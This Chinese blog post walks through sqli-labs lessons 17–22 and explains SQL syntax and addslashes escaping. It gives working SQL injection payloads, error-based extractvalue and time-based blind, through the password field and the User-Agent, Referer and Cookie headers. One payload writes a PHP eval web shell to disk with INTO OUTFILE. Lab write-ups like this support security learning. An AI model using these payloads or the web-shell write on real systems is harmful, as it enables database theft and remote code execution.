sqlilabs17-22
0x01 增删改基本语法
插入操作
本质含义,将数据以SQL的形式存储到指定的数据表(字段)Insert into 表名 [(字段列表)] values;
删除
删数据:
delete from 表名
delete from 表名 where id=16
删结构:
删数据库:drop database 数据库名;
删除表:drop table表名;
删除表中的列:alter table表名drop column列名;
修改
updata 表名 set 字段名 = 新值 [where 条件] ,非数字加引号;
0x02 less-17进入addslashes函数世界
开始正题
uname=admin
passwd=1’ 可得如图报错
在passwd处有单引号,构造payload: 1'#
Xpath报错注入:uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
,其他盲注也是OK就不啰嗦了。
源码对unname字符进行转义处理无法使用uname注入
0x03 addslashes函数学习
addslashes()
:为数据库查询语句需要的某些字符添加反斜线转义。单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。强烈建议使用 DBMS 指定的转义函数 (比如 MySQL 是mysqli_real_escape_string()
,PostgreSQL 是pg_escape_string()
)使用
get_magic_quotes_gpc()
检验PHP是否开启magic_quotes_gpc
,即是否执行addslashes()
.mysqli_real_escape_string()
受影响的字符为:\x00, \n, \r, , ‘, “ 和 \x1a.ctype_digit($value)
:判断value是否为纯数字stripslashes()
:反引用一个引用字符串。如果magic_quotes_sybase
项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。
0x04 less-18拐进HTTP头部世界
本节开始学习header injection
查看源代码发现传入的uname 和 passwd特殊字符都被addslashes函数转义。
HTTP头部学习:
1、Aceept
:告诉WEB服务器自己接收什么介质类型,/表示任何类型,type/*表示该类型下的所有自类型
2、Accept-Charset
:浏览器申明自己接收的字符集
Accept-Encoding
: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language
:浏览器申明自己接收的语言。big5,gb2312,gbk
3、Connetion
:浏览器与服务器之间连接的类型
4、Cookie
:当前页面设置的cookie
5、Host
:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host: rss.sina.com.cn
6、Referer
:发出请求的页面的URI。
7、User-Agent
:浏览器的用户代理字符串
8、Server
: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)
源代码学习:
$_SERVER
[ ]:返回HTTP头部信息。
参数:
HTTP_USER_AGENT
:返回HTTP头部的USER_AGENT
REMOTE_ADDR
:返回http头部IP地址
判断uname和passwd是否匹配
匹配成功之后插入到数据库(符号` 在数据库合法,表示字符串的含义)
正确信息回显your user agent is :..
可知采用header injection
payload构造:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1' = '1
/
'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
*:红色的首末两个个引号起到闭合引号的作用,使得extractvalue语句不会是字符串形式。
爆数据库'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1
bool盲注:'or if(ascii(substr((select database()),1,1))=114,1,sleep(5)) and '1'='1(and不管用)
0x05 less-19
正确登陆回显Your Referer is: http://127.0.0.1/sqlilabs/Less-19
可以判断为header injection -Referer
为注入点
原始语句:Referer: http://127.0.0.1/sqlilabs/Less-19/
payload语句:传入字符串所以需要对引号进行闭合。'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
其他注入点就不一一赘述了。
0x05 less-20 cookie小海浪
cookie
:GET请求所携带的用户信息,结构为–键,值,时间
网页正确回显依赖数据库对cookie的验证。构造cookie dump
- payload:
‘and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
源码学习与分析:
输入正确的账号密码,执行setcookie(‘uname’,$cookee,time()+3600)函数,跳转界面(刷新)
重新打开网页,浏览器从硬盘上取出cookie$_COOKIE['uname']
。页面显示cookie状态信息,执行的条件是submit
事件不被触发。
—>将$cookee
传入到数据库中判断语法是否错误,cookee
值是否与数据库字段匹配(这一步操作在现实中应该是在一定程度上保证cookie值不被恶意构造)
若submit
事件触发则删除cookie
值
0x06 less-21 试试一句话
正常登陆之后
使用burpsuite抓包,传入的uname经过base64编码
爆数据库目录:payload:’)and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and (‘1’)=(‘1
传入一句话
*:union 查询条件前列数相同且前一句sql语句能执行,不同与报错盲注
payload:admin') union select 1,'<?php @eval($_POST["mima"])?>',3 into outfile "F:\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-21\\1.php"#
0x07 less-22 e….
payload: admin1"and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e))#
其他就和less-21相同就不一一赘述了
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!